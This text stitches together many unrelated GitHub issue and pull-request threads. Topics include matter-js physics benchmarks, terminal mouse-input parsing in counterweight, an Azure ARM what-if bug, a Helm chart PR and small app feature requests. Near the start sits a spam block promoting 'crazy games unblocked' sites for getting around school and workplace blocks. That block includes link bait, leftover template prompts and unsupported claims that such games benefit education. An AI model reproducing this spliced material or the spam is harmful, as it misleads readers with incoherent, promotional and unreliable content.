So, the source branch isn;t up to date and I don't know if @renngar is still around... Should I create a new PR off my branch?

I think this one can be closed now that #295 is merged

I think that this one should have all been resolved by #295 so I'll close it unless anyone objects for any reason


UNBLOCKED GAMES crazy games unblocked | Play Free Games Online - kpa2f

UNBLOCKED GAMES crazy games unblocked | Play Free Games Online - kpa2f
crazy games unblocked is a popular website that offers a wide variety of games that can be played in environments where access to gaming sites is typically restricted, such as schools and workplaces.
Enjoy playing all your favorite casual crazy games unblocked, office, or home. Dive into the world of online free games without downloads!
👉🔴 SITE Games Unblocked >> crazy games unblocked
👉🔴 PREMIUM Games Unblocked >> crazy games unblocked
🙋♀ A short introduction - what is your organization all about?
🌈 Contribution guidelines - how can the community get involved?
👩💻 Useful resources - where can the community find your docs? Is there anything else the community should know?
🍿 Fun facts - what does your team eat for breakfast?
🧙 Remember, you can do mighty things with the power of Markdown
crazy games unblocked: Unlocking Premium Fun in Educational Settings
In recent years, the phenomenon of crazy games unblocked has taken the online gaming community by storm. These games, designed to bypass restrictions often placed by schools and workplaces, provide a unique blend of entertainment and engagement, especially for students. Among the vast array of options, unblocked premium games stand out as a popular choice, offering enhanced features, better graphics, and a more immersive gaming experience.
What Are crazy games unblocked?
crazy games unblocked are online games that can be accessed and played without restrictions, typically in environments like schools or offices where gaming sites might be blocked. The appeal of these games lies in their accessibility and the diverse range of genres available, from action and adventure to puzzles and strategy. Students often turn to these games during breaks or downtime, providing a quick escape from their academic routines.
The Rise of Premium crazy games unblocked
As the unblocked games market has evolved, so has the demand for premium content. Premium crazy games unblocked are those that offer superior gameplay experiences, often including advanced graphics, engaging storylines, and multiplayer functionalities. Many of these games are adaptations of popular titles, enabling players to enjoy high-quality gaming even in restricted environments.
The allure of premium unblocked games lies in their ability to combine fun with an element of strategy and critical thinking. Many of these games challenge players to solve complex problems, collaborate with peers, and develop skills that are beneficial beyond the gaming world.
Benefits of Playing crazy games unblocked

Stress Relief: For students juggling a demanding academic schedule, unblocked games provide a much-needed break. Engaging in play can reduce stress and enhance overall well-being.
Social Interaction: Many unblocked games allow for multiplayer modes, enabling students to connect with friends or even make new ones. This social aspect is particularly valuable in school settings, fostering teamwork and collaboration.
Skill Development: Numerous unblocked games require strategic thinking, quick reflexes, and problem-solving abilities. These skills can translate to academic success, making gaming a potentially productive pastime.
Creativity Boost: Games that allow for customization and creative expression can inspire students to think outside the box, enhancing their creative skills.

Popular Genres of crazy games unblocked Premium Games

Action and Adventure: Games that provide thrilling narratives and exciting challenges, often featuring iconic characters and rich worlds. Titles like "Among Us" or "Minecraft" have gained immense popularity in unblocked formats.
Puzzle and Strategy: These games challenge players to think critically and plan ahead, with examples including "2048" and "Bloons Tower Defense."
Simulation: Games like "The Sims" or "Animal Crossing" let players create and manage their virtual lives, promoting creativity and organization.
Sports and Racing: Titles such as "Basketball Stars" and "Slope" offer fast-paced action and competitive gameplay, appealing to sports enthusiasts.

Conclusion
crazy games unblocked premium games represent a dynamic intersection of fun and education, providing students with a unique platform to unwind while also honing valuable skills. As educational institutions continue to grapple with balancing entertainment and learning, these games offer a solution that can enhance the school experience. By integrating gaming into their downtime, students can enjoy the thrill of play while developing critical skills, making unblocked premium games a worthwhile addition to any educational setting.

vnvn


Straight forward JS rewriting of solveVelocity method to improve performance

Results
Before

After

Observed speed up for that method is:
1 - (86.39 - 11.25) / (87.32 - 6.80) * 6.80 / 11.25 = 43.6%
Overall speed up is roughly 5% in general.
Speed-up seems consistent on all the tests. I never encountered a test where the solveVelocity method takes up 70% of the total resources though, as observed by @photonstorm.

Hi @bchevalier,
I'm interested in making this engine faster. I tried your solution but honestly I didn't find any performance improvements :(
This is how I tested it (very handmade): https://codepen.io/tylercorleone/pen/vYJjpaW
Essentially copy/paste the JS in the console on the https://brm.io/matter-js/demo page.
It will run 5 times with the "official" method and 5 with your.
Can you check it out?
Thanks

I was able to obtain a reliable result with my test code, here what came out:
(I intentionally alternated the standard and new code tests)
Short version:
`Test: standard Resolver.solveVelocity: 17.70%
Test: new Resolver.solveVelocity proposal: 31.77%
Test: standard Resolver.solveVelocity: 16.28%
Test: new Resolver.solveVelocity proposal: 39.50%
Test: standard Resolver.solveVelocity: 14.49%
Test: new Resolver.solveVelocity proposal: 40.41% `
Long version:
`
Test: standard Resolver.solveVelocity
undefined

Engine.update: 1593.240 ms (600 iteratons)

Detector.collisions: 32.97%
Resolver.solveVelocity: 17.70%
Resolver.solvePosition: 10.77%
Pairs.update: 8.86%
Engine_.bodiesUpdate: 7.04%
Events.trigger: 7.00%
Resolver.postSolvePosition: 4.48%
Grid.update: 3.71%
Resolver.preSolveVelocity: 2.21%
Composite.allBodies: 1.75%
Resolver.preSolvePosition: 0.78%
Pairs.removeOld: 0.70%
Constraint.solveAll: 0.58%
Composite.allConstraints: 0.54%
Engine_.bodiesApplyGravity: 0.54%
Constraint.preSolveAll: 0.50%
Constraint.postSolveAll: 0.41%
Engine_.bodiesClearForces: 0.26%
Composite.setModified: 0.02%
Grid.clear: 0.00%

Total percentage check: 100.81%
Test: new Resolver.solveVelocity proposal

Engine.update: 2253.420 ms (600 iteratons)

Resolver.solveVelocity: 31.77%
Detector.collisions: 31.04%
Resolver.solvePosition: 10.36%
Pairs.update: 6.24%
Engine_.bodiesUpdate: 5.35%
Events.trigger: 4.56%
Resolver.postSolvePosition: 3.39%
Grid.update: 2.67%
Resolver.preSolveVelocity: 1.66%
Composite.allBodies: 1.02%
Resolver.preSolvePosition: 0.52%
Pairs.removeOld: 0.44%
Constraint.preSolveAll: 0.32%
Engine_.bodiesApplyGravity: 0.30%
Constraint.solveAll: 0.28%
Composite.allConstraints: 0.23%
Constraint.postSolveAll: 0.22%
Engine_.bodiesClearForces: 0.15%
Composite.setModified: 0.01%

Total percentage check: 100.54%
Test: standard Resolver.solveVelocity

Engine.update: 1821.960 ms (600 iteratons)

Detector.collisions: 37.96%
Resolver.solveVelocity: 16.28%
Resolver.solvePosition: 12.83%
Pairs.update: 7.54%
Engine_.bodiesUpdate: 6.67%
Events.trigger: 5.87%
Resolver.postSolvePosition: 3.64%
Grid.update: 3.33%
Resolver.preSolveVelocity: 2.01%
Composite.allBodies: 1.51%
Resolver.preSolvePosition: 0.65%
Pairs.removeOld: 0.47%
Engine_.bodiesApplyGravity: 0.45%
Constraint.preSolveAll: 0.41%
Constraint.solveAll: 0.41%
Composite.allConstraints: 0.37%
Constraint.postSolveAll: 0.33%
Engine_.bodiesClearForces: 0.21%
Composite.setModified: 0.01%

Total percentage check: 100.97%
Test: new Resolver.solveVelocity proposal

Engine.update: 1894.800 ms (600 iteratons)

Resolver.solveVelocity: 39.50%
Detector.collisions: 23.47%
Resolver.solvePosition: 7.09%
Pairs.update: 7.04%
Engine_.bodiesUpdate: 6.06%
Events.trigger: 5.17%
Resolver.postSolvePosition: 4.01%
Grid.update: 2.61%
Resolver.preSolveVelocity: 1.58%
Composite.allBodies: 1.18%
Resolver.preSolvePosition: 0.59%
Pairs.removeOld: 0.46%
Constraint.preSolveAll: 0.41%
Engine_.bodiesApplyGravity: 0.36%
Constraint.solveAll: 0.35%
Composite.allConstraints: 0.28%
Constraint.postSolveAll: 0.25%
Engine_.bodiesClearForces: 0.19%
Composite.setModified: 0.01%
Grid.clear: 0.00%

Total percentage check: 100.60%
Test: standard Resolver.solveVelocity

Engine.update: 1477.160 ms (600 iteratons)

Detector.collisions: 33.96%
Resolver.solveVelocity: 14.49%
Resolver.solvePosition: 10.05%
Pairs.update: 9.68%
Engine_.bodiesUpdate: 9.22%
Events.trigger: 7.06%
Resolver.postSolvePosition: 5.53%
Grid.update: 3.36%
Resolver.preSolveVelocity: 2.20%
Composite.allBodies: 1.71%
Resolver.preSolvePosition: 0.81%
Pairs.removeOld: 0.54%
Constraint.preSolveAll: 0.50%
Constraint.solveAll: 0.48%
Composite.allConstraints: 0.43%
Engine_.bodiesApplyGravity: 0.42%
Constraint.postSolveAll: 0.34%
Engine_.bodiesClearForces: 0.25%
Composite.setModified: 0.02%
Grid.clear: 0.00%

Total percentage check: 101.04%
Test: new Resolver.solveVelocity proposal

Engine.update: 1805.360 ms (600 iteratons)

Resolver.solveVelocity: 40.41%
Detector.collisions: 23.66%
Resolver.solvePosition: 7.14%
Pairs.update: 6.66%
Engine_.bodiesUpdate: 6.41%
Events.trigger: 4.83%
Resolver.postSolvePosition: 3.97%
Grid.update: 2.28%
Resolver.preSolveVelocity: 1.53%
Composite.allBodies: 1.28%
Resolver.preSolvePosition: 0.62%
Pairs.removeOld: 0.41%
Composite.allConstraints: 0.32%
Constraint.solveAll: 0.32%
Constraint.preSolveAll: 0.31%
Constraint.postSolveAll: 0.26%
Engine_.bodiesApplyGravity: 0.25%
Engine_.bodiesClearForces: 0.18%
Composite.setModified: 0.01%

Total percentage check: 100.85%
`
I run this test on the ragdoll example on Firefox, setting the privacy.reduceTimerPrecision conig to false (https://developer.mozilla.org/en-US/docs/Web/API/Performance/now#reduced_time_precision) in order to obtain more precision. Just copy-paste the code on: https://codepen.io/tylercorleone/pen/vYJjpaW :)

Hi @skylupop
If I remember properly I think this PR mainly consists in saving time to perform property accessed by saving results to local variables. And looking at the changes it is hard to imagine how the existing version could be strictly better.
First, a few words on why there could be a difference in the results:

It is possible that JS compilers got better since this PR was submitted.
It is also possible that some JS compilers do a better job on the version suggested here and some other compilers do better on the existing version.

Here are a few things I noticed that could be the root of issues with the testing methodology you mentioned:

I would recommend making performance tests on Chrome. I used Chrome for all my testings, its JS engine is much faster than Firefox's and I would consider it more advanced on top of being much more widely used and being similar to Safari in terms of performance and JS performance behavior and identical to Edge (because it uses the Chrome JS engines). So testing on Chrome is similar to testing for 90% of users, while testing on Firefox is like testing for less than 4% of the users.
You should try out intensive test cases, the ragdoll test is not one of them, "lightweight" tests can involve too much noise in the data and make some overhead operations more impactful than they are when the physics engine is used intensively.
The solveVelocity method actually calls some vector functions in but I do not see those in the profile log. Here I would need more info on how the profile log was generated.

Hi @bchevalier ,
I partially found the cause of the problem of my result.
My test basically creates a backup of the "standard" Resolver.solveVelocity function, defines your function and then run the example from 0 to a certain tick (e.g. 600) first using the default solveVelocity function then using your, etc.
I found that comparing your version with the minified/combined/i-dont-know-what default version lead to those results. What's on the minified version that makes it go that faster once already downloaded and hopefully JIT compiled? That is, in order to obtain comparable results I had (and this is the part I didn't understand) to "override" the default solveVelocity, simply using the non minified code (why?!). I preferred to override the entire Matter's definitions in order to compare apples with apples...
I replicated the exact same problem using Chrome's performance tool.
Btw... that's what I obtained:
Stress example on Chrome:
default Resolver.solveVelocity (2400 samples): 302 ms (18.0%)
new Resolver.solveVelocity (2400 samples): 195 ms (11.7%)
default Resolver.solveVelocity (2400 samples): 326 ms (18.3%)
new Resolver.solveVelocity (2400 samples): 183 ms (11.2%)
default Resolver.solveVelocity (2400 samples): 285 ms (17.8%)
new Resolver.solveVelocity (2400 samples): 157 ms (10.6%)

That is ~ 41.4% faster
Complete results:
stress-test_chrome.txt
Same example on Firefox:
default Resolver.solveVelocity (2400 samples): 518 ms (24.0%)
new Resolver.solveVelocity (2400 samples): 432 ms (20.1%)
default Resolver.solveVelocity (2400 samples): 526 ms (23.3%)
new Resolver.solveVelocity (2400 samples): 385 ms (19.4%)
default Resolver.solveVelocity (2400 samples): 432 ms (24.7%)
new Resolver.solveVelocity (2400 samples): 359 ms (21.9%)

That is ~ 20.3% faster
Complete results:
stress-test_firefox.txt
@liabru any chance to work on this? :)


renaming option

Is your feature request related to a problem? Please describe.
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
Describe the solution you'd like
Renaming option would be expected: either selecting image(s) among others or opening it.
Describe alternatives you've considered
None as cannot determine where images are stored.
Additional context
Using Android 11. Newest app itself from Google play.

@edmundlaugasson  what do you want to rename? THe document name? If so you can already do that by clicking on the document name while viewing it

That's true - file I can rename in that way. Would propose to allow rename a file without opening it by just tapping and holding on it to select and then under 3-dot menu is rename choice.
Same applies to collection name, which is created by date and time when it started. Currently not possible to rename collection - at least I could not find it.

@edmundlaugasson What do you mean by collection ?
To clarify the app as the notion of :

document: metadata + list of pages
page

Both entities have a "name" field. But for now only the document "name" can be changed (the page name is not really used yet).

Collection - before entering to see images (has date and time in name), might be also page in your terms.
When opening program, will see that "collection". When opening, we see images. Then also image can be opened.

@edmundlaugasson can this be closed? i feel like what you want is already implemented


[Implement rule][non-essential] Integrate code sanitization tools

Check for the presence of PII, secrets, and keys in all commits.

Resources:

poirot (https://github.com/emanuelfeld/poirot)
TruffleHog (https://github.com/dxa4481/truffleHog)


IE10 Zoom

Hi, I've been using your plugin and I'm quite pleased with it.
Lately, I've tried testing my site using different browsers.
I've noticed that once you zoom the image in an IE10 browser, the image is distorted and a whitespace is displayed.
Here's the normal image:

Here it is when zoomed:

(Desired outcome)

Please advise on how to solve this issue.

What is the current level of browser support for cropbox?

Should work with webkit (chrome, safari, etc) and firefox.
I dont hace access to An IE machine, so never tested there. Pull requests to improve ie support will be accepted.

@bapsantos I'm not noticing this same issue in the demo (http://acornejo.github.io/jquery-cropbox/). Do you have reproducible steps for this one?

Also no issues here for me. Tested it on IE9 on Win7 and IE10 on Win8. Maybe it is fixed already.


Font size not applying correctly

I have a use case where I require the cover page to include a product name and document name. Unfortunately, when I put them in the title the string is too long and the wrapping is wrong.
I've attempted to change the font size using the following values:
36
"36"
"36px"
but none seem to work when I export the PDF.
Alternatively, it may be good to add a subtitle option or support for line breaks?

I like the idea for the subtitle, could you be able to send a pull-request? :-)

I think it's better to call it "description", since it's how it's called the field on Gitbook.io and this way it can be used the description field in the package.json by default.


Add framing to rpi<->controller link

Description
This PR adds proper framing to the serial link between raspberry pi (GUI) and STM32 (controller).
It is a rehash from #1137, #1138 and #1142, updated to match the recent UART refactoring (#1223).
The reason I mashed it all together is that the first two, which introduce frame detector and streams were not testable without the third one, and made little sense on their own. That and the fact I had to make substantial changes when testing those while I re-implemented the third one...
Tested it on my pizza build by running the vent with GUI hooked up, seeing the graphs and the settings change take effect.
Asked for someone else to test it on slack, pending results.
Closes #159
Closes #1137
Closes #1138
Closes #1142
Closes #1046
Part of a PR chain, after #1223
General checklist:

[x] I have performed a self-review, including - looked through the Files changed tab, browsed repository in my branch
[ ] I have made corresponding changes to the documentation - to reflect changes in code, electrical or mechanical design
[x] All new documentation or graphics follow the documentation style guide
[x] All new content is linked, easily discoverable, does not require too many clicks
[x] I have reviewed any other relevant parts of our contributor wiki to ensure that this PR conforms to the standards
[x] I have given the PR a descriptive name (prefixed with WIP if it is not yet ready for review)
[x] I have tagged relevant reviewers

Code checklist:

[x] All new code follows our code style
[x] I have commented my code, particularly in hard-to-understand areas
[x] My changes generate no new warnings
[x] I have added tests that prove my fix is effective or that my feature works
[x] I have described tests I used to verify my changes, instructions for reproducing them and any relevant configuration details.
[x] I ran the unit test suite and verified that all tests pass - new and old, locally and on CI
[x] I performed a clean build and verified that there were no warnings
[x] I ran our static analysis tools and verified there were no warnings
[ ] Any dependent changes have been merged and published in downstream modules
[x] All source files have license headers

Hi all.
I've been invited to do a code review on this PR. I do not know a lot about the system architecture and requirements
so I guess most of my comments will be on whatever my eyes happen to fall on.


Typo

init.py line 152 and 154
Anonymos --> Anonymous

Thanks @timchrist49

Just uploaded a working version to PyPi.


Set up DfE Analytics

Depends on #93

I think this could benefit from an environment variable to toggle it off; BIGQUERY_DISABLE=true or such. That way, developers can work locally without setting it up and they won't experience console errors.


fix(select-spec): Update the rtl test to ensure the fixture is stable

Hello Angular Material,
I believe I have found the issue to my failure in #2989. So I think IE was actually doing the right thing, and my change exposed the issue.
My understanding is adding fixture.whenStable() should not change the result of the test, because the synchronous version should not have any unfinished async tasks. This change breaks the test, and thus I believe the current test is faulty.
This test run should be red for all browsers. Let me know how best to proceed.
Thanks,
Thomas

I believe it has to do with the way width is calculated, but not entirely sure. To make the tests more consistent, I added I just added whenStable to the ltr test as well.

@kara do you know why whenStable is needed for the RTL test? should it be added to all of the tests, after a click occurs?

Confirmed that the test failures are already a problem, but that they're just masked somehow.

The tests seems to still be failing, even locally for me. Will need more looking into.

@trshafer @kara I've combined these changes into https://github.com/angular/material2/pull/3861 and fixed the test failure so we don't have to keep track of multiple PRs.

Now that #3861 is in, can we close this @trshafer?

Looks like it was fixed. Thank you.


Charging Profiles: Nice to have features...

[ ] If existing temporary plan is in the past, show a message: your plan is no longer valid
[ ] Enter hours in duration in addition to mins (find a solution first, to be validated)
[ ] Add checkbox to use the charging station’s timezone and change the schedules accordingly
[ ] Add a row action More button (+ icon) in the list to add above or below the current record a new Schedule
[ ] Set the focus into the Duration input field + Select all the content when new line is added so the user has just to enter the value
[ ] Highlight the entire row in the list (background color) of the current schedule execution

Updated Epic


Add complete Helm chart example for Kubernetes deployment

Summary
This pull request adds a complete Helm chart example for deploying the project in Kubernetes. It includes configurations for deployments, services, and ingress. Please review and provide feedback.
Change Type
Please delete any irrelevant options.

[*] New feature (non-breaking change which adds functionality)
[*] This change requires a documentation update

Testing
I tested the Helm chart manually by deploying it in a Kubernetes cluster using k3s. Below are the steps to reproduce the test:

Ensure you have a running Kubernetes cluster and Helm installed on your system.

Prepare the Configuration Files:

Before deploying the chart, rename the files values.yaml.example and librechat-config.yaml.example by removing .example from the file names.
Fill in your parameters in the values.yaml and librechat-config.yaml files.

Deploy the Helm Chart:

Use Helm to deploy the chart to your Kubernetes cluster.cd chart
helm upgrade --install --namespace librechat --create-namespace --values values.yaml librechat .

Access the Application:

Access the application through NodePort 30080.

Test Configuration:

Kubernetes Version: Server Version: v1.28.8+k3s1
Helm Version: v3.12.3

Test Configuration:

Kubernetes Version: Server Version: v1.28.8+k3s1
Helm Version: v3.12.3

Checklist
Please delete any irrelevant options.

Thanks a lot! I hope to try it soon

going to close this in favor of https://github.com/danny-avila/LibreChat/pull/2879
Please feel free to improve or adjust the merged helm chart as needed

Hello, I guess there is a mistake.


Input parsing failures shouldn't show up in stdout

Seems like if there's an error in read_keys() it ends up making its way to stdout - probably need to catch exceptions here to make sure the app doesn't break in that case
Particularly here https://github.com/JoshKarpel/counterweight/blob/c7506120bfc224c4a42b799294dad25f3dc393cc/counterweight/input.py#L36 which is not currently inside the try-catch below it

b is It's a variation of
 on MacOS.
The last byte is different every time, despite the same mouse movement direction.

Those last bytes should represent the mouse coordinates, so it's possible that it's not valid UTF-8, which is probably the source of the problem. Probably need to play with the parser more. Surprised I haven't seen the same testing on Linux 🤔

@terencezl could you check out #83 on your system and see if that solves your problem? You shouldn't see any errors in counterweight check-input --mouse https://github.com/JoshKarpel/counterweight/blob/e2cc45da0cfdfac907dfd0bdf947b685dddfd905/counterweight/cli.py#L43-L47, and also hopefully meaningful mouse movement events (that I am not 100% sure on, mouse events are complicated).

I was able to reproduce this issue on my machine. (python 3.11.7 on Xubuntu running X11.) After some poking around, I see that (as of 0.0.3) the mouse movements are being tracked and decoded as UTF-8. The bytes include the (x, y) coordinates of the mouse cursor with respect to the upper corner of the terminal window, offset by 33. As a result, if x or y exceed 94 in the terminal, the coordinates read as bytes will be greater than 127. UTF-8 decoding fails noisily, as we've seen.
I gave #83 a test run, and it's a step forward, but not a complete fix. With that change, the cursor coordinates can exceed 94 and not cause decoding issues. However, whenever the x or y coordinate gets above 223*, the application crashes. (Quietly, though.) That's more pleasant than the noisy failures, but obviously still not ideal.
This crash for very large terminals is, I think, due to a limitation in the VT encoding scheme. I suppose this is a slightly different issue, but with more-or-less the same cause: moving your mouse too far across a very large terminal.
I'm totally unfamiliar with parsy, but I suspect you might need to rewrite your parsers to handle vt_inputs for the case when you have extended coordinates. (Not sure what the extended encoding scheme is for my terminal.) I see that Textual has written a fairly sophisticated XTermParser that actually loops through the sequence, matching against regexes along the way, to catch the various edge-cases during parsing. (I don't honestly follow it.)
At this point, I'm thoroughly out of my depth. But thought I'd provide feedback about a limitation I see on #83.
*Note: A curious behavior I've seen. The application doesn't crash when parsing coordinates in the range [223, 224, 225] (inclusive). Instead, it just assumes the coordinate is one of [-33, -32, -31] respectively. Only once the coordinate reaches 226 does a full application crash occur. I wasn't able to inspect the bytes carefully enough to understand this.

@edrogers I think your analysis is spot-on
While working on #83 I realized that my terminal (WSL Ubuntu 22.04) seemed to be hitting https://github.com/microsoft/terminal/issues/13165 , which meant that I was seeing the non-sgr style responses (see mouse tracking section starting on page ~45 of https://invisible-island.net/xterm/ctlseqs/ctlseqs.pdf). But I just realized that the sgr command modifies the tracking command, so I need to send both. I think I've got a local dev environment where I can see the other format now, so I should be able to adapt #83 to handle coordinates past 94.
re: very large terminals, I will play with that too. Definitely shouldn't crash in that case!

@edrogers could you try latest on #83 again? I think it should now work for any terminal size, including past ~226

Tried #83 again on my system. I've got good news and bad news.
Good news, the application doesn't crash, regardless of mouse position. I also have reason to suspect it's correctly locating the coordinates of the cursor, even for large values of x and y.
Bad news, it looks like the mouse movements are consistently failing to parse. :confused:
counterweight check-input --mouse
Waiting for input...
2023-12-31 14:42:41 [error    ] Failed to parse input          bytes=b'\x1b[<35;245;69M' elapsed_ns=670_592 error=Exception('unreachable')
2023-12-31 14:42:41 [error    ] Failed to parse input          bytes=b'\x1b[<35;243;68M' elapsed_ns=462_246 error=Exception('unreachable')
2023-12-31 14:42:41 [error    ] Failed to parse input          bytes=b'\x1b[<35;242;67M' elapsed_ns=426_991 error=Exception('unreachable')
2023-12-31 14:42:41 [error    ] Failed to parse input          bytes=b'\x1b[<35;240;67M' elapsed_ns=417_586 error=Exception('unreachable')

The unreachable exception appears to be here, at the bottom of this match statement: https://github.com/JoshKarpel/counterweight/blob/fbe5a93fa5b51eb456c6c56b81433d2d92a89cf4/counterweight/keys.py#L296-L315
As an experiment, I tried again to move my mouse while checking input. This time while holding the mouse button down. When doing that, the input parses with plausible values:
counterweight check-input --mouse
Waiting for input...
2023-12-31 14:54:26 [debug    ] Parsed user input              bytes=b'\x1b[<0;249;63M' elapsed_ns=876_114 inputs=[MouseDown(position=Position(x=248, y=62), button=1)]
Event: MouseDown(position=Position(x=248, y=62), button=1)
Waiting for input...
2023-12-31 14:54:26 [debug    ] Parsed user input              bytes=b'\x1b[<32;250;63M' elapsed_ns=728_625 inputs=[MouseDown(position=Position(x=249, y=62), button=1)]
Event: MouseDown(position=Position(x=249, y=62), button=1)
Waiting for input...
2023-12-31 14:54:26 [debug    ] Parsed user input              bytes=b'\x1b[<32;272;64M' elapsed_ns=609_715 inputs=[MouseDown(position=Position(x=271, y=63), button=1)]
Event: MouseDown(position=Position(x=271, y=63), button=1)
Waiting for input...
2023-12-31 14:54:26 [debug    ] Parsed user input              bytes=b'\x1b[<32;273;63M' elapsed_ns=142_428 inputs=[MouseDown(position=Position(x=272, y=62), button=1)]
Event: MouseDown(position=Position(x=272, y=62), button=1)

Could it be that my system has reversed m for M or something similarly confusing?
An additional clue: when I try to play wordle on this branch, the application no longer responds to my mouse, even if I move the mouse with the button down. So, buttons do no light up with color or respond to clicks.

Could it be that my system has reversed m for M or something similarly confusing?

That does seem to be the case, though I can't understand why, at least based on the docs I linked above...
I reworked #83 so that it should account for that, please give it another try when you get a chance!

It works great! Absolutely no problems, even for very large terminals.
Kudos!

It works great! Absolutely no problems, even for very large terminals.
Kudos!

Very cool! They work for me and mouse activates various reactions.

Very cool! They work for me and mouse activates various reactions.

Thanks all! Will merge #83 and do a release soon.

Thanks all! Will merge #83 and do a release soon.


pyproject: Ensure sources.json is installed by setuptools.

I couldn't build the package from source on Gnu Guix without ensuring the sources.json file is there.

The repo uses a reusable workflow (this one) to confirms that package can be built properly. Here you can see that it picks up sources.json. This is also the workflow used to push tags (release candidates) and new releases to PyPI. You can also confirm that the releases on PyPI include the file.
Can you please:

Explain which tool(s) (including versions) and exact command(s) you were using to attempt to build and/or install the package, and
Show the complete output?

Sorry I never answered here. It was actually the same command, maybe with an older version of the package. Anyway, if you don't have the issue to publish on pypi, it's not essential, I can keep a vendored patch in Guix ;)


check if autoValue function is defaultAutoValueFunction

Issue: https://github.com/aldeed/node-simple-schema/issues/114
I didn't take a deep look at the code so this might be wrong, but from what I can tell the warning happens because of SimpleSchema's own defaultAutoValueFunction function is assigned as an autoValue:
internalDefinition.autoValue = getDefaultAutoValueFunction(internalDefinition.defaultValue);

This could be a problem if the schema-checking code runs multiple times on the same schema for whatever reason (I think in my case it happens when I'm extending it with additional fields), so I added a check to make sure the warning doesn't trigger on defaultAutoValueFunction.

It might be hiding a different underlying issue, but I don't see how this can hurt anyway. Thanks!


"thread failed with: fopen() failed" error based ssd used for tmpdir1

I get the aforementioned error when using this SSD.
Intel DC S3700 Series Taylorsville SSDSC2BA400G301 2.5" 400GB SATA III MLC Internal Solid State Drive (SSD)
However when I use a more generic SSD the computer plots just fine.
I am using ramdisk and have a Xeon E5-2680 2.5Ghz 12 core.

Hm do you have write permission on the filesystem?

Yes, I formatted it as fat32 so that it would be mounted without read/write permissions. Currently has 29G of temp files written to it.

FAT32 is not a good choice anyways. Is this windows? If yes try NTFS, otherwise ext4.

It is linux, but yeah Ill report back how ntfs goes.
‐‐‐‐‐‐‐ Original Message ‐‐‐‐‐‐‐
On Friday, November 19th, 2021 at 6:23 AM, Max @.***> wrote:

FAT32 is not a good choice anyways. Is this windows? If yes try NTFS, otherwise ext4.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.
Triage notifications on the go with GitHub Mobile for iOS or Android.

Interesting, switching to NTFS it no longer crashes (I am using linux). However it is considerably slower than using the other SSD, I am guessing that is just because it has worse I/O performance of the drive.


WhatIf always displaying "no change" when using functions in uri path

Describe the bug
We're using a quite complex way of calculating the path of the linked template to use. The what-if always returns "no change".
If I hard-code in the template the result of the calculation, the what-if is instead successful.
Example of non-working:
"uri": "[concat(variables('modulesPath'), 'ResourceGroup/1.0.74/deploy.json', if(parameters('componentsStorageContainerIsPrivate'), concat('?', listAccountSas(parameters('componentStorageAccountId'), '2019-04-01', variables('accountSasProperties')).accountSasToken), ''))]",
Same template, with hard-coded value & working
"uri": "https://iacs.blob.core.windows.net/components/Modules/ARM/ResourceGroup/1.0.74/deploy.json?",
To Reproduce
Examples in the attached file: whatiftest.zip

Store a template (deploy.json in the attachment) in a storage account. Container should be private

Create a template linking the template stored in the storage account (use whatiftest.json and parameters.json in the attachment)

Try the whatif deploying the template (whatiftest.json)

Use the hard-coded value and verify the whatif works

Expected behavior
Same result in (3) and (4)
Client [e.g. PowerShell, CLI, API)
PowerShell 7.1.2
Az.Resources 3.2.1

I tested on the latest az.resources module and also had the same issue.

repro steps below.

saved as foo4.json
{
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#",
    "contentVersion": "<IP_ADDRESS>",
    "parameters": {
        "namesuffix": {
            "type": "string",
            "metadata": {
                "description": "description"
            }
        }
    },
    "functions": [],
    "variables": {

    },
    "resources": [
        {
            "name": "[concat('iamagoodstoragename',parameters('namesuffix'))]",
            "type": "Microsoft.Storage/storageAccounts",
            "apiVersion": "2019-06-01",
            "tags": {
                "displayName": "storageaccount1"
            },
            "location": "[resourceGroup().location]",
            "kind": "StorageV2",
            "sku": {
                "name": "Premium_LRS",
                "tier": "Premium"
            }
        }
    ],
    "outputs": {}
}

saved as reproWhatif.json
{
    "$schema": "https://schema.management.azure.com/schemas/2018-05-01/subscriptionDeploymentTemplate.json#",
    "contentVersion": "<IP_ADDRESS>",
    "parameters": {
    },
    "variables": {
        "accountSasProperties": {
            "signedServices": "b", //Blob (b), Queue (q), Table (t), File (f).
            "signedPermission": "r", //Read (r), Write (w), Delete (d), List (l), Add (a), Create (c), Update (u) and Process (p)
            "signedExpiry": "2021-08-20T11:00:00Z", //format: 2017-05-24T10:42:03Z
            "signedResourceTypes": "o", //Service (s): Access to service-level APIs; Container (c): Access to container-level APIs; Object (o): Access to object-level APIs for blobs, queue messages, table entities, and files.
            "signedProtocol": "https"
        }
    },
    "resources": [
        {
            "name": "linkedDeployment1",
            "type": "Microsoft.Resources/deployments",
            "apiVersion": "2020-10-01",
            "properties": {
                "mode": "Incremental",
                "templateLink": {
                    "uri": "[concat('https://acu1brwaoag1saglobal.blob.core.windows.net/source/foo4.json?',
                                    listAccountSas('/subscriptions/b8f402aa-20f7-4888-b45c-3cf086dad9c3/resourceGroups/ACU1-BRW-AOA-RG-G1/providers/Microsoft.Storage/storageAccounts/acu1brwaoag1saglobal',
                                                    '2019-04-01',
                                                    variables('accountSasProperties')
                                                    ).accountSasToken
                                    )]",
                    "contentVersion": "<IP_ADDRESS>"
                },
                "parameters": {
                    "namesuffix": {
                        "value": "8912"
                    }
                }
            }
        }
    ]
}

copied foo4.json to the storage account.
Deploy reproWhatif.json
new-azresourcegroup -location centralus -name foo3
New-AzResourceGroupDeployment -ResourceGroupName foo3 -TemplateFile 'D:\reproWhatif.json'

now deploy again with -whatif also use complete for better logging.
New-AzResourceGroupDeployment -ResourceGroupName foo3 -TemplateFile 'D:\reproWhatif.json' -WhatIf -Mode Complete

same template that just deployed, however it didn't want to deploy the same Resource, so it wants to delete it (based on complete mode deployment).

This is based on using the listAccountsSas to get the 'uri'

Swap it out for the URI with the hard coded and it works as expected.
{
    "$schema": "https://schema.management.azure.com/schemas/2018-05-01/subscriptionDeploymentTemplate.json#",
    "contentVersion": "<IP_ADDRESS>",
    "parameters": {
    },
    "variables": {
        "accountSasProperties": {
            "signedServices": "b", //Blob (b), Queue (q), Table (t), File (f).
            "signedPermission": "r", //Read (r), Write (w), Delete (d), List (l), Add (a), Create (c), Update (u) and Process (p)
            "signedExpiry": "2021-08-20T11:00:00Z", //format: 2017-05-24T10:42:03Z
            "signedResourceTypes": "o", //Service (s): Access to service-level APIs; Container (c): Access to container-level APIs; Object (o): Access to object-level APIs for blobs, queue messages, table entities, and files.
            "signedProtocol": "https"
        }
    },
